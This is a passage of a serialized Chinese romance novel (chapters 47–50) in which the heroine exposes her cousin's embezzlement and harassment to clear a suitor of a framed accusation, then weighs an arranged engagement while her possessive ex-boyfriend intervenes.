“刀没割在你身上,你不知道痛。你是进去了,我女儿怎么办,以后还要不要做人了?” “她就只能背着被别人侵犯过的名号过一辈子,在别人的指点声里活下去。” 姜砚的耐心要被耗光了,这也不行,那也不行。他一个黄花大闺男,甚至都没亲过女孩子,就被人扣上脏帽子,他以后难道不要找老婆的? 心里的委屈一点点冒上来,他气得都要炸了,"我不认识你女儿,昨天晚上也是一个人睡的,我们去医院做检查,看她体内有没有我的DNA。" 陆烨甸适时站出来,"姜少爷,有些话咱不能拿到台面上说,但你非要问,我只能告诉你,昨天晚上你做措施了,我妹妹去医院做检查,查不到什么。" "她只在进房间的时候,拍了一张照片,监控里面房间那段时间只有你们两个人。" 姜砚反问,"那她为什么进我房间" "昨天晚上,你朋友看你喝多了,担心你出事,所以让我妹妹上楼想看看你怎么样。" 姜砚冷着眼,拿手机出来给昨天晚上那帮厮混的朋友打电话,片刻后,确认陆烨甸没撒谎。他攥紧手机,胸口仿佛压着一块千斤重的巨石,说不出话。 百口莫辩。 这是一场针对他的陷阱。 陆烨甸装模作样,"念禾一直看我不顺眼,前几天当着别人面扇了我好几巴掌。我知道你喜欢她,但是你不能为她欺负无辜女孩。" 姜母听不下去了,打断他的话,"这件事,我们错在先,我们会赔偿。" 她自己当年和姜父遇见,就是在一场酒会上,喝多了,一觉睡醒后,有了姜砚,才奉子成婚。 姜砚一向做事随性,她本来不愿意相信自己儿子能干出这种混蛋事,可证据摆在眼前,姜母也不得不相信。 陆伯母抱着自己女儿,"他必须娶我女儿!" 这话一出,姜家人脸色都僵住。 气氛安静到落针可闻。 林念禾环视一圈众人,冷不防开口,"昨天晚上我和他一直在一起。" 陆烨甸问,"监控里面都没有你进去的画面,你是怎么进去的" 她叹了口气,手搭上姜砚的肩膀,"我们在谈恋爱,昨天晚上打了一晚上的电话,很正常吧?" 第47章 第47章联姻,撞见 姜砚缓缓侧过脸,看向她。 他们 谈上了? 没人通知他呢。 陆烨甸不相信,连带着眼神都变了。 "你们什么时候谈的?" "我的感情生活需要跟你汇报"她收回胳膊,语气凉凉,"昨天晚上我跟他一直在视频通话,后半夜姜砚喝多了,我不放心就没让他挂电话。" "至于证据嘛,因为我们是地下恋爱,会删聊天记录。" 温诗接话,"照念禾这么说,这事一时半会儿还真说不清。" "说的清也好,说不清也罢,先把这件事情放一放。" 管家递来一个文件袋,林念禾不急不慢地从里面拿出几份文件,视线慢悠悠地扫过陆烨甸一家人的脸。 "既然今天人到这么齐,省得我过两天挨个喊你们来。当着我爸的面,一些东西总要解决的。" 她先侧脸看向一直没开口的陆伯父,"我前些天闲着没事干,把公司几年的报表全翻出来看了一遍。发现华东地区的业绩近几年要比其他地方差很多。" "巧的是,从伯父您接手开始,就缓慢地往下掉了。" "这是华东地区实验室的举报信。"她把打印出来的文件,摆在陆伯父的面前,"说有人克扣经费,材料研发的费用根本落不到实验室负责人的手上。" "去年公司往下拨了五百万的经费,伯父,我想问问你,这笔钱哪去了?" 陆伯父看了她一眼,不等他开口说话,林念禾就走到了陆烨甸的面前。 "堂弟怎么脸色这么差身体不舒服吗?" "给生理期女员工灌酒,性骚扰下属的时候,怎么身体就健康了呢?" 陆烨甸面色不变,"说话要拿出证据来。" "利用职权压榨员工,让人下班还帮你做事,给女下属塞房卡。"她啧了一声,"这种事情捅出去,陆氏股票第二天就得大跌飘绿。" "要证据我这里有你上次入住酒店,女孩哭着从你房间里跑出来的走廊监控。" 陆烨甸说,"我批评了她两句工作上面的事,结果她承受不住,哭着走了,是你误会了。" 姜砚冷笑,"那落我头上,怎么就是我把人家女孩给睡了?" "你有照片吗?"他不屑置辩,"你们这是自己干了畜生事,就想拉我下水。" "那倒不至于,我做人一向坦荡荡。"林念禾从文件里面抽出一张纸,"这是今天下午所有被你骚扰过的女性下属,去派出所联合报案的回执单。" 姜砚趁机嘲讽,"身正不怕影子斜,到时候一定能还你清白。" 陆烨甸脸色有些发白,他干的事情他自己当然知道。那些事抖搂出来,足够他进去蹲很多年。 "挪用公款,也是要被起诉的。" 林念禾的声音犹如魔鬼的诅咒,女孩哭声渐渐止住,陆伯母拍她肩膀安慰的手停在半空中。 "所以我回来问问爸的意见,这件事到底该怎么办。"她装模作样继续,"伯父这些年从陆氏里面陆陆续续拿了不少,也幸亏公司够大,不然早被搬空了。" 这段话,踩在了陆建林的底线上。 他能接受弟弟一家背靠陆氏生活,但不能对公司心生觊觎。 那是陆建林辛辛苦苦打拼下的家业,再怎么说,也不可能给别人。 陆烨甸肉眼可见地开始慌乱,他每次完事的时候都会拍照,那群女人顾忌他手里的把柄,大多选择咽下委屈,其中偶尔一两个刺头,用权钱打发掉就行。 虽然对挪用公款的事并不清楚,但多少知道一些。 这些都不是一朝一夕就能查出来的。 林念禾早在他毫无察觉的时候,就盯上了他,想把他扔出公司,驱逐出陆家。 “弟弟,亲归亲,理归理。你握着照片说姜砚侵犯猥亵,那边也有一群女孩儿,等着你给她们一个交代。” 陆烨甸把目光投向陆建林,“大伯,不是我,她们想图我的钱,合手诬陷我。” 陆建林没有说话,在一场闹剧中保持沉默。 姜母陡然笑了,是她糊涂了,情急之下没保持冷静,害怕儿子出事,“姜砚说的对,事情私下里解决对谁都不公平,你的事既然已经闹到台面上了,那也就不差我们家的这一件。如果我儿子干了这种畜牲事,就该自己承担后果。” “为了掩盖事实,把两个孩子凑到一块,怨怼地度过后半生,等于同时毁了他们两个人的人生。” 她态度强硬,一番话下来,面上温柔,却不给别人 拒绝的余地。 一时间,进退两难。 陆家那个从进门开始哭的女孩,紧紧拽住自己母亲的衣角。母女仿佛被架在火上烤似的,只能把视线投向自己的丈夫和父亲。 陆伯父好半天,嘴唇嗫嚅,“大哥……” 陆建林好像看够了这场闹剧,声音无力,“你走吧。” 人心不足蛇吞象,欲念一点点被喂大,自己信赖的亲人,早就不是原来的模样。 “伯伯,我错了。”陆烨甸知道他这是决定放弃要他们一家,心里慌张到极点,上前几步,膝盖刚往下坠了几厘米的距离,就被人拎住衣领。 要下跪的动作被硬生生打断。 他红着眼,唇色发白,侧眸看过去。 林念禾松开手,"弟弟,我们家再有钱,也不能帮你躲避法律。" "林念禾,你给我下套" 上回在度假山庄是故意打他,为了激怒他,让他露出马脚,再等着他自投罗网。 她没理,朝陆建林问,"爸,什么时候吃饭,我都饿了。" 温诗朝管家抬了抬下巴,管家立刻上前,朝陆家四个人做出送客的动作。 她扶着陆建林,"念禾饿了,先吃饭吧。"又看向姜砚,"小姜也没吃饭吧,我们两家好久没吃过一次饭了,今天都留下来。厨房那边,我特意让他们做了你爱吃的菜。" 事情解决得差不多,姜砚刚想说好,寻思留下跟林念禾吃晚饭。 姜母站起来,"今天打扰你们了,我们就先回去,改天再聚。" 姜砚被诬陷的这件事情没有说清楚,对方没有承认是诬陷,他们做父母的总得替孩子出口气。 在陆家不好解决,但是出了陆家这个门,就不用顾忌着陆建林的面子做事。 人一走,陆家顿时安静下来。 餐桌上,佣人已经摆好了饭菜。 陆建林脸色还是很差,他看向一旁埋头吃饭的人,放下筷子。 "你这件事,准备多久了?" 林念禾往他碗里夹了一块排骨,心里再恶心,面上装出孝顺样子。 "上次看文件的时候,留意了一下,然后顺藤摸瓜发现的。" "公司姓陆,还没交到你的手里,你现在是想越过我,对自己的亲人下手" "爸,你说这话就不对了。千里之堤溃于蚁穴,再结实的墙,总能被人挖穿的。陆氏要改革,就得从内部开始。" 她起身给他盛了碗汤,"二伯,这些年在陆氏,做了不少的事,没有功劳也有苦劳。所以我自己已经帮他把挪用的款项补上了。" 听到她的话,陆建林的表情微微缓和。 "我找人打听过,二伯在外面跟人合作做项目,这些年亏了不少,往里投的钱也是越来越大。爸,我们帮他一次两次,以后难道能一直帮他吗?他这个年纪,该退休养老了。" 林念禾抠了抠桌角,不怎么高兴,"堂弟,他不喜欢我,他说我不是您的孩子,还说公司明明是他的,是我回来抢了他的东西。" "自从毕业进公司,他每天上班迟到缺勤,上次那个项目也是因为他对供应商态度不好,最后弄丢了。" 她眼眸发红,鼻头一酸,"我不是想大义灭亲,他做到这个地步了,我是实在没办法。那些女孩,求到我面前,说自己被欺负,她们要去报案,我还阻拦了,结果没成功。" 林念禾一边说,一边偷偷掐自己的大腿根,痛意逼得她双眼泪汪汪的。 温诗捧着碗,看了她一眼。 "好了,多大的年纪,还哭哭啼啼的。"陆建林重新拿起筷子,仿佛一下苍老了好几岁,"我不怪你。" 人是双标的。 手心手背都是肉的情况下,总归会选择自己不那么偏爱的一方去承受挨打。 餐厅里安静如鸡。 林念禾把泪刚擦干净,听见他冷不丁开口。 "你和姜砚选个日子,订婚。" 她握筷子的手一僵,"什么订婚" "你们既然已经在一起了,就趁早把事情定好。等订完婚,我手里的股份就转让给你。" 上次和姜砚相亲,陆建林还觉得姜砚这种没什么大志向的男人,配不上她。只过了两个月,他突然态度转变,同意婚事。 林念禾脑子里一片混乱,当时扯谎说自己恋爱中,是想帮姜砚一把,没有打算把自己真赔进去。 这其中有猫腻。 姜家到底给了陆建林多少利益,才能让他点头答应。 可他手里的股份确实诱人。 只要订婚,她就能迅速挤到陆氏高层,做到董事长的位置。 林念禾心里的天秤两端,开始不停摆动。 订婚而已,又不是领证。 领证了,还能再离。 她都是离过一次的人了,能怕这个 眼前突然闪过一双真挚的小狗眼。 林念禾猛地清醒一瞬,自己把这当做商业联姻,可姜砚却是真的喜欢她。 没等她考虑清楚,陆建林就放下筷子,离开餐厅。 温诗只吃了两口,看见他走了,也跟着起身,"先好好想想吧,嫁进姜家,你一定不会亏的。" 翌日, 姜砚特意在公司楼下等她下班,林念禾今天没开车来,司机也早被他打发走了。 男生今天特意打扮了一番,平时就很漂亮的脸,更加让人挪不开眼。 他整个人,散发着喜悦。 情绪激动,话多又密。 整顿饭下来,她硬是没找着一个开口的机会。 姜砚把她送到家楼下,就很知分寸地想走了。 林念禾开口,"上去喝杯茶吗?" 她有些话想单独跟他谈谈。 他有些脸红,犹豫片刻,"好啊。" 电梯门打开,他们一同进去,上楼。 林念禾一边摁上密码锁指纹解锁,一边试图打开话题,"昨天叔叔阿姨有跟你说些什么吗?" 姜砚离她很近,好闻的花果香钻进她的鼻腔,温热的呼吸洒在颈间,"说了啊。" "你觉得这个月订婚好,还是下个月好" "要不下个月吧,天气暖和点。" 他自说自话。 突然,旁边的楼道里,传来一声重物砸地的声音。 两个人下意识看过去,走道的阴影里缓缓出来一道人影。 第48章 第48章运气好说不定能看见我结…… 在看到人的那刻,林念禾没什么表情地开门,问,“有东西没拿吗?” 小霍抬眼看了下姜砚,眸色暗了暗,平静道,“有套试卷丢在房间,忘记拿了。” 空气如同一滩搅不动的淤泥,沉闷地压在人的心头。 他在楼道里蹲了很久,对于他们的对话也听得一清二楚。 头顶的灯光倾泻下来,打在姜砚的脸上,精致的五官在冷调的白光下,完美无缺。他头发染成了栗棕色,出门前特意烫成小卷毛,看上去阳光活泼。 霍锌在脑海中搜刮记忆,忽而想起来,高二那会儿,文科班有个男生就是这种类型,但是没姜砚好看。男生锲而不舍地给她送了一个礼拜的花,林念禾也没拒绝,甚至最后打算跟他出去单独吃饭。 最后要不是他半路截胡,不然她早跟人谈上了。 林念禾进门,站在里面,看外面两个站桩的人,好像她不喊,他们就打算在门口站到地老天荒。 "先进来吧。" 霍锌手脚发麻,不知道是因为站得太久了,还是情绪降到极点,以至于影响了身体。 他慢慢地抬眼看了她一下,确定在对方的眼里,没有看见任何一丝厌恶不耐后,心才落地,抬脚进去。 姜砚没动,只是盯着他的那张脸,若有所思。 听声音没错的话,这人应该是上次给林 念禾打电话的那位弟弟。 可他的脸,和霍总长得九分相似。 他没忘记酒店走廊,用看败者的眼神看他的霍锌。 姜砚想了一会儿,没能想出来面前的男生能跟霍锌有什么血缘上的关系。 霍家旁支,死的死,坐牢的坐牢,剩下一批移民去国外。 堂兄弟也不可能长得跟双胞胎似的,连声音都有几分相似。 男人的第六感,让他瞬间警觉起来。 虽然没正式订婚,但林念禾正宫的位置,对他来说已经是唾手可得的东西了。面对其他不怀好意的男人,他能堂而皇之地指责对方下贱。 姜砚的视线落在男生身上,他正侧脸望向林念禾,露出的鼻梁高挺,嘴唇薄红,下颚线条流畅,脸上带着青涩的锐气。 对方似乎察觉到他打量的目光,转过头,同他对视。 黑色的瞳孔,冷漠,藏着其他情绪。 林念禾把包在玄关上,转眼看见姜砚站在门口不动。 "怎么不进来" 他挪开眼,"今天周五,高中放假吗?" 闻言,林念禾被提醒,眉毛轻蹙,"你逃课了?" 霍锌在发愤图强考清北之前,除了早恋,逃课打架,样样都干。 家里的狗,在听见门开声,就跑过来了。 时隔好久,见到霍锌,乐乐高兴地咬着他的裤腿。 他弯下腰,伸手挠它的下巴,"今天有联考,晚上不上晚自习,明天放一天假。" "他是要回去吗?"霍锌把狗抱起来,"要不,你先去送送他,不用管我,我拿完东西就走。" 姜砚进来,把门带上,没接他的话茬,边走边说,"下个月就可以穿薄一点的衣服,我妈联系了国外婚纱品牌的设计师,只不过时间有点紧。" 阿姨给他们一人端上来一杯茶,离开。 霍锌坐在沙发最里侧,乐乐跳上来,把下巴搭在他的大腿上。他一边摸狗,一边安静地听他们聊天。 "会不会有些太快了?"林念禾小心翼翼地问。 姜砚的接受能力比她高多了,丝毫看不出来一点不情愿,好像恨不得立马牵着她的手,平躺进爱情的坟墓。 他怀里抱着抱枕,压低身体,凑过来,视线和她保持水平,"不快啊。" "我爸说陆家和我家联手的项目,等我们订完婚,就开始投入资金。"他声音有点落寞,"只是先订婚,明年才能结婚。" 他爸原话说的更伤人,大抵的意思,让他婚后做个废物,用脸哄好林念禾。也不指望他继承家业,就希望能生个聪明孙子,让自己多活几年。 他们这种家庭的后代,不愁吃喝,只要不沾赌,遗产够他快乐活好几辈子。与其靠不争气的儿子,不如把希望放在下一代。 林念禾其实不是这个意思,她只是想找姜砚试探他对这桩联姻的看法。 两个人要是都不愿意,反抗起来说不定能有几分成功的可能。可事实是,他很期待同她结婚。 前几天饭桌上,陆建林的态度很明确,要跟姜家联姻,以后,两家的公司多半都会给她。 她现在不太敢去跟陆建林硬碰硬,毕竟不是从小在他跟前长大的,抛开血缘关系,顶多算半路父女。前段时间她把陆家旁支清扫出公司,已经是在他的底线上不怕死地反复跳跃数次。 人的欲望如同填不满的丘壑,她努力这么久,为了婚姻放弃得到的一切,那才是个笑话。 姜砚自说自话,问她喜欢什么样式的订婚服和戒指,林念禾脑子里正在天人交战,时不时给他一句回应。 半个小时后,旁边坐着的一直没出声的男生,突然站起来走进房间,过了一会儿,手上拿着一本试卷册。 他走到姜砚身边,胳膊压在他的肩侧,“能不能顺路送我一下。” 客厅安静一瞬,意识到时间确实不早了,他还待在林念禾的家里,姜砚耳尖浮上一层薄红。 但很快这丝丝缕缕的羞涩被面前男生离近的面孔给冲散了。 他实在没忍住,侧脸问林念禾,“这是你弟弟吗?” 林念禾老神在在地喝了口茶,“朋友的弟弟。” “霍总的弟弟?” “你可以这么认为。” “他为什么在你家?” 姜砚后仰,身体曲线贴入柔软的沙发,试图让自己看起来没有那么在意,然而他真在意的不得了,心脏就跟被扎进一根小刺似的,扰得他心烦。 他垂在身侧的手,微微蜷缩了下,煎熬难耐地等待她的解释。 林念禾被问得有点僵住,“我们之间也有点血缘关系。” 姜砚原本悬在空中的心摇摇欲坠,听见这话,瞬间落地。 旁边的少年,冷脸笑了下,催他,"走吗?" 姜砚看了他一眼,哼哼唧唧贴到林念禾的耳边,小声问,"你能不能送我一下" 他问得小心翼翼,一双眼眸闪着期待的光,因为刚才的事,这会儿眼尾还有点泛红。 林念禾拒绝的话刚到嘴边,硬生生咽了下去,"好。" 她想起来好久没带着乐乐出门,都是家里的阿姨定时遛狗。 于是顺手给狗套上绳子,带着一起下楼。 霍锌站在电梯里,看着他们并肩站在一起的样子,松开自己掐出血的掌心,嘴里泛起一丝铁锈味道。 白天艳阳高照,晚上不知道为什么,开始刮风。 林念禾出楼的时候,抬头看了下黑漆漆的天,明天估计得下雨。 三月底的风,刮在身上还挺凉的。 姜砚穿的少,眼尾被风吹的通红,他睨了下背过身的少年,动作飞快地拉住林念禾的手,又迅速松开。 快到甚至她都没反应过来他牵了自己的手,就已经结束了。 这是他人生第一次和女孩子牵手,柔软的手心相触,不属于自己的体温通过皮肤传到掌心,心瞬间漏了一拍,眼睛都不知道往哪看了。 姜砚垂着眼,盯着地缝,"我明天能来找你吃饭吗?" 没恋爱过的小狗,纯洁到只牵了一下手,就害羞得不敢看人。 林念禾被他整得有点想笑,唇角刚扬起几分,冷不丁同前方侧脸往过来的少年对视。 他的眼神平静如水,仿佛目睹了他们之间的一切,平淡的水面下是翻天倒海的漩涡。 她的笑猛地收回去,被人抓包似的,有些尴尬道,"可以,我还欠你一顿饭。" 姜砚还想抱她一下,念着他们才刚开始发展感情,只好把自己蠢蠢欲动的想法摁下去。 两个人上车离去,林念禾牵着狗,出了小区。 旁边就是个公园。 晚上人少,遛狗方便。 最近乐乐在公园里认识好几只小朋狗,晚上出来,没有狗跟它一起玩,它情绪没有白天高涨,只老实贴着林念禾的脚边走。 宁静的晚上,她慢悠悠地走在鹅卵石路上,插着兜走路。 走了一会儿,鞋带倏地散开。 前面有个长椅,她上前坐下,弯腰想系鞋带。视野里突然闯入一双手,男生低着头,单膝跪地,手指缠绕几圈,帮她系好鞋带。 林念禾下意识往后靠,拉远距离。 少年没起身,一只手握住她的脚腕,仍然保持着单膝跪地的姿势,眼皮一抬,静静注视着她。 视线在她的脸上转了一圈,没发现其他痕迹,憋了一晚上的情绪终于得到了一丝安慰。 霍锌不动声色地收回目光,今天要是在她的唇上,看见姜砚留下的印记,他现在多半也保证不了自己能做出什么事。 "你不是跟他走了吗?" "你很希望我跟他走" 林念禾纳闷,"你自己让他送你的。" 他突然换话题,"你打算跟他订婚" 她把握在掌心的狗绳绕了几圈,"你要是运气好,说不定能看见我们俩的婚礼。" 明年要是霍锌还没穿回去,他还真的能亲眼看见他们的婚礼。 血液往头顶冒去,少年胸腔积累的情绪满到快要爆炸,眼神越来越深。 这和刚来时,被告知分手,林念禾已婚的情形不一样,那会儿他没有承受失去的过程。来到这个世界的第一秒,一切早就盖棺定论,他只能无能为力地接受。 那个占着丈夫名分的男人,已经滚了。 现在又冒出来一个男人。 环境寂静,只有两声孤零零的鸟叫。 林念禾往里收了下脚,没弄动。少年的 手,像铁圈似的牢牢圈住她。 第49章 第49章你觉得他能老实跟你结婚…… 他倾身,鼻尖几乎要和她的鼻尖相触。 浓墨似的夜晚,长椅旁的路灯,散发着弱弱的白光。呼吸交融,她没什么表情地望着对方,心却狠狠地挨了一刀。 太熟悉了。 这个表情,就是他要发疯的前兆。 还没分手的时候,随着恋爱时间的增长,霍锌对她的爱已经到了一种不能被别人窥探的地步,他不想让她工作,吃醋每一个出现在她身边的异性,把她当成某种易碎品来照顾。 搭在膝盖上的手暗中蓄力,如果他等会儿相对她干出什么没有分寸感的事,这个巴掌就会干脆利落地落到他的脸上。 先前她觉得做人要有礼貌,打人是一件十分没有素养的事。 但现在,林念禾觉得对待这些男人,很有必要在对方一而再再而三地冒犯她时,扇过去一耳光。 疼痛也不一定能让他们悔改,但能让他们知道自己的态度。 就在她思考怎么阻止他发疯的时候,少年的眼神突然下移到她的唇瓣。 林念禾顿时浑身僵硬,紧张到连吞咽都忘了。 黑灯瞎火,无人小路。 他要是想亲她,她就弄死他。 耳边静悄悄的,只能听见两个人的心跳声。 过了一会儿,霍锌移开目光,弯腰趴在她的腿间笑。 林念禾愣了一下,被他的笑弄得有些迷糊,“笑什么” 他抬眸看她,黑漆的瞳孔里倒映着面前人的模样,眼底沾着笑意,“你刚才紧张到都不呼吸了。” “怕我亲你?” 她被他笑得有些不好意思,耳尖发红。 承认的话,跟她自作多情一样。 于是反驳,“你那只眼睛看出来我害怕了?” “哦,那是我看错了。”他顿了下,笑意散去,“你很喜欢他吗?” 林念禾把这个他在脑子里思考了一圈,发现他说的是姜砚。 人家带着嫁妆来找她的,姜氏和陆氏加起来市值上千亿,她是傻子才会和钱过不去。 更何况,上头还有长辈压着。 当然这些心里话不能跟霍锌说,她组织了下语言,“还行吧。” “你觉得他那样的,婚后能不出轨?”他垂眸,看着地面上打着圈转悠的几只蚂蚁,“姜砚热爱极限运动,这样的人,阈值高,喜欢刺激,平淡的生活并不能给他带来多大的快乐。婚后,你一个人替两家人打工。他靠着你,过上甩手掌柜的日子。时间一长,你们之间的新鲜感过去,你觉得他对这段婚姻还能剩下多少尊重。” “儿子女婿出轨,你爸,他爸妈,会站在你这边,还是站在他那边呢” 他在车上只是和姜砚闲聊了几句,就套出来他平时的生活习惯。 他对姜砚不熟,这些话也是没有凭据的假想,但无论真的也好,假的也罢,能微微撼动林念禾的决定就行。 犹豫的种子从种下的那刻起,就会不断汲取养分,直到破土而出。 话语总比行动来的有效,如果今天他对着她发疯质问,那在这场竞争里,自己会成为第一个出局的人。 林念禾对于这场联姻没有想那么远,姜砚长得好看,性格开朗,两家父母知根知底,生意上面往来多年。姜母对她很满意,结婚后,婆媳问题几乎等于没有。 她突然发现,抛去表面,本质上自己有点像是一驴两用。姜家儿子在生意上面,没有天赋,而她正好弥补了这一点。陆建林这边缺一个能力出众的继承人,自己正好是他唯一的女儿,就被认回去给陆家打工。 两份工压在她身上,她得什么岁数才能退休?? 有钱,但是没时间,还得天天早八上班,看着自己老公在外面潇洒快活。 哇塞,跟驴一样惨。 不对,她还得生孩子。 原来她比驴惨…… “我只是这么一说。”霍锌表情平淡,假惺惺地夸奖,“姜砚人看起来不错。” 末了,他像是想起来什么,补充道,“比你上个老公好。” 比她前夫哥智商低,心眼子少,冲着这点,他还是挺喜欢姜砚的。尤其还有个成年版的霍总,远在国外出差,不知道这个消息。他一想到这个长得漂亮脸的傻白甜,要和霍总那种心眼子多到跟蜜蜂窝似的老东西过招,就不由对他产生几分同情。 林念禾回神,手托着他的下巴,把人弄远,“你好像在嘲笑我看男人的眼光。” “没有啊。”少年眨眼,语气真诚。 “……” “天晚了,我回去了。”他扭头看了下四周,还保持着那个单膝跪地的姿势,手攥上她的脚腕。 脚腕很细,一只手就能掐的住。 他的指腹下意识摩挲了两下,抬眼瞧她,"你想不想送我回去,天晚我还害怕。" 嘴上说着害怕,实则面上一点不显。 林念禾冷漠地站起来,"你如果之前没骗我,说不定我现在心情好,还能考虑考虑送你回家。" 男生起身,闭上嘴,不说话。 他在她这里还有个欺骗记录没翻篇,林念禾能跟他说话,就已经是不幸中的万幸了。 看着人走远的背影,霍锌站在原地看了好久,直到她消失在拐角处。 他拿出手机,解锁,找到某个电话号码,拨过去。 秘书接电话的速度很快,"霍总现在在开会。" 男人在大洋彼岸的另一头,算算时差,那边是下午。 少年声音冷淡,"麻烦你转告他,林念禾要订婚了。" 秘书愣了下,"好的。" 话尾刚落,电话挂断。少年把手机收回口袋,抬步离开。 第二天, 姜砚下午一点多,就来公司找她,先是去陆建林那儿待了一会儿,才下来找她。 公司里的人,看见他,一时间八卦群里消息满天飞,说各种话的人都有。 最后有个人弱弱地问,是不是公司的林总和姜少爷好事将近。 消息一传十,十传百,甚至网络上也出现了一些帖子。 本来他们两家就没打算掖着藏着,于是对那些网友爆料贴,睁一只眼闭一只眼去了。 苏荥把网上帖子,截屏给林念禾看的时候,她翻了几下,没有负面言论。多半是关于两个人结婚的感叹,说爸妈有钱有脸,以后的孩子一出生就在罗马。 还有的说,下辈子投胎的第一志愿要当他俩的孩子。 林念禾看着看着,表情沉了下去。 昨天霍锌的话,她回去后仔细想了想,只是还漏了孩子这一层。 本身就是单亲家庭,父亲在成长的过程中缺失,她不希望自己的孩子未来也像这样。 人是不会满足的。 没钱的时候,会说爱和钱我只要钱。 有钱之后,又会奢求自己能被爱。 笔尖在指间转了几圈,她抬眼望见站在门口的姜砚,同苏荥说,"等会儿的会,推到明天。" "好的,林总。" 林念禾起身,拿起外套,决定提前一个小时下班。 今年订婚,明年结婚,在这一段时间内,她得仔细评估姜砚这个人,如果不适合结婚,天王老子来了,她也得撂摊子不干。 又给他们家当打工牛马,又给他们家生孩子,哪有这么好的事情。 姜砚问,"我是不是打扰你上班了?" 她边往外走,边说,"没有,今天不忙。" "陆叔叔说,让我下午来找他,所以我才来这么早。" 两个人到了车库,姜砚开车离开公司。 他事先在餐厅定好位置,虽然林念禾昨天说她请客吃饭,但自己也不可能等着她去安排。 等红灯的时候,林念禾侧头看他。 察觉到她的目光,姜砚如同被视线灼烧似的,耳垂泛起红色。 "怎么了?" 他小鹿乱撞,耳膜里全是自己杂乱的心跳声。 "你大学毕业了吗?" 吧唧,小鹿死了。 姜砚抿唇,"没有,学分没修满,因为我在国 外出了点事,所以爸妈强制我回国,没拿到学位证书。" 林念禾沉默了下,她自己虽然状元出身,但真的没有学历歧视。 对于姜砚来说,毕不毕业,有没有学位证书,都不重要,毕竟以后不愁吃喝。 飙车出事,被父母强制回国,他到底是多喜欢极限运动 她靠回座位,在未来的结局里,默默加上了一项,成为寡妇。 吃完饭,才六点多。 姜砚拉着她去逛街,商业街人不多,他看什么都新鲜。 路过一家游戏厅,看见里面有抓娃娃机。 姜砚拽着林念禾进去了。 她靠在机器旁边,看他一副跃跃欲试的样子。 有点伤脑筋。 霍锌跟她约会的时候,什么都干过。从头再体验一遍情窦初开的约会,她兴趣缺缺。 姜砚在玩这件事上,是有天赋的,没多久给她抓了两个毛茸茸的小狗,就停下手。 他们在的这台机器,是在角落里,外面的人不走进来,看不到这块地方。 这时候,游戏厅里没几个人。 姜砚注视着她,心里仿佛被塞进了一团棉花,变得软乎乎的。 他们离得很近,女生抬眼看他,乌黑的眼眸里虽然没有什么情绪,却让他心动了下。 姜砚低下头,轻轻地亲了下她的侧脸。 轻飘飘的吻落在脸边,林念禾诧异地转过脸,就看见他整个人都要烧红了。 "对不起。"他抠着手里的玩偶,道歉,"我……" 他要怎么解释刚刚的行为,说自己刚被外星人蛊惑了,所以要亲她一下才能恢复 不行,说出来,会被林念禾打死的。 他抿唇,唇瓣上仿佛还留着她柔软的触感。 而且她好香! 是那种勾着他的香。 姜砚想要道歉的念头早跑九霄云外去了,他有点回味刚才的感觉。 以后结婚,他就能抱着林念禾睡觉了,为什么不能今年结婚 林念禾不知道他心思百转千绕,平静得跟被狗舔了下似的,“还要逛吗?” “不逛了,回去吧。” 车到小区楼下,林念禾要下车的时候,被他拉住手腕。 他递来一个盒子,她接过打开,中央摆着一条蓝宝石项链。姜砚送出手的东西,不可能便宜。 她心里估计了一下价格,打算回头让苏荥准备个差不多价位的回给他。 “路上注意安全。”林念禾顿了下,“别超速。” 姜砚陡然一下焉了,“不会的,拜拜。” 目送对方离开,她才回去。 电梯到达,门打开。 林念禾开门的时候,想起来昨天小霍蹲在门口的事,下意识往右边楼道看了一眼。 漆黑的楼道里,男人隐在黑暗里,静静望着她。 第50章 第50章装货 林念禾只犹豫了一秒就让他进来了。 家里有阿姨,走廊只有他们两个。霍锌发疯了,她还能找阿姨救一救她。 七点多的夜晚,外面黑漆漆的。 乐乐趴在地上,耷拉着眼睛望着沙发上两个不说话的人。 他们坐的很远,中间隔着足够两三个人坐下的空隙。 霍锌伸手掐了下眉心,神色疲惫。他从昨天到现在一直都没有睡觉,匆匆处理完手边的事后,就连夜定机票赶回来。 他站在楼道里,那会儿想了很多。 过往的片段,如同走马观花似地在脑海里一遍遍播放。 胸腔堆砌的情绪,最后化成一堆找不到出口的浓雾,挤满他的每一块儿心角落。 没有愤怒,没有嫉妒,只是无力。 从刚开始的相遇,到后面他自作多情,一而再再而三地突破两个人的关系底线,林念禾都没有接受过他。 客厅挂着的时钟,滴答滴答地转着针。 愈发安静的环境里,林念禾沉默地坐着。 窒息的沉默逼得她开始胡思乱想,反思自己是不是想不开,所以才放他进门。阿姨回房间休息了,她在客厅求救,她们万一睡着了,或者玩手机,估计也听不见。 到时候她喊天天不应,喊地地不灵。 霍锌多难缠,当年林念禾是真切体会过。 路上多看别的男人一眼,他回去都要拽着她的手,往自己身上摸,逼问她谁更好看。 而且他们又没有复合,只是重逢后亲过几次。难道亲了就得负责,过一辈子 林念禾极其小幅度地动了动腿,刚想开口结束这场悄无声息的沉默。 听见他嗓子微哑,开口,“是姜砚吗?” 她侧眸看了他一眼,“是他。” 这话其实多此一举,他早让人查过,姜家除了姜砚,也没有别的适龄男人能结婚。 可听到名字的那刻,霍锌的心还是炸开了一丝裂缝,丝丝缕缕的酸涩涌出来,冒上喉间。 他抬起手腕,松了松领带,领口有些凌乱,没什么心情去整理散掉的扣子,垂着眼,“姜家和陆氏的项目,他们往里面投了多少,我就补多少。” “全凭你的意愿。” 林念禾顿时面上有点茫然,眨了下眼。 霍锌摸了摸凑过来的狗,“你不想结婚,就没人能逼着你结婚。” 话音落下后,林念禾才读懂他的意思。 给她兜底,成为她扬言拒绝这场联姻的背后资本。 陆建林能同意这场婚事,接受姜砚,究其根本,因为他的爸妈,因为姜氏能为他带来极大的利益。姜氏也因此,在合作里做出了让步。 但霍锌身为一个商人,就这么好心能为前女友拿出十个亿,帮助她摆脱各方的压力 他想要的,也是她。 纵观局面,她除了自己,也没有什么其他能和他做交换的,总不能画饼说等她接管陆氏,再感恩回报。 林念禾笑了下,“不和他结,跟你结吗?” “你可以当我在做慈善。” “帮助离异的前女友,拒绝联姻” 霍锌把手从狗身上拿开,正眼看她,黑漆的瞳孔平静得可怕,“林念禾,我不在乎你心里到底有没有我,或者有没有其他男人。但如果你在我面前,被人绑着穿上自己不喜欢的衣服,嫁给没有感情的人,那我跟死人还有什么区别。” “姜家撤资,我会补上,陆建林要多少,我就能给多少。” 即使林念禾的心尖上站满了人,只要人海里没有姜砚,他就会帮她兜底。 